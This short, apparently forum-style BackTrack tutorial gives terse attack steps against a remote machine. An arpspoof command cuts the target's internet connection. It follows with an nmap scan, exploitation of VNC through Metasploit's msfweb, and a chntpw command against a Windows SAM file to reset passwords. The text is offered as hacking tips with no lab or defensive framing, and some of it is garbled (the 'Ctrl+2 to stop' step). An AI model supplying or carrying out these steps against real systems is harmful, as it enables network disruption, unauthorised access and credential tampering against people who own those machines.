If you want to be a backtracker create a live Bootable backtrack in your USB and use it more & more as you can.
Here we go the details :
At firstDisable internet connection of remote system
1. Arpspoof –i eth0 –t 192.168.1.1 192.168.1.2
2. Ctrl+2 to stop.
1. Nmap-> nmap 192.168.1.1
2. Backtrack -> penetration ->framework2 ->msfweb
3. Then copy [127.0.0.1:5555]
4. Open internet and paste it in url and then exploit vnc
Now Reset password on Win XP and Vista(old trick but still gold)
Start->Backtrack -> priviledge escalation ->password attacks-> chntpw
Chntpw: -i /mnt/hda1/windows/system32/config/SAM
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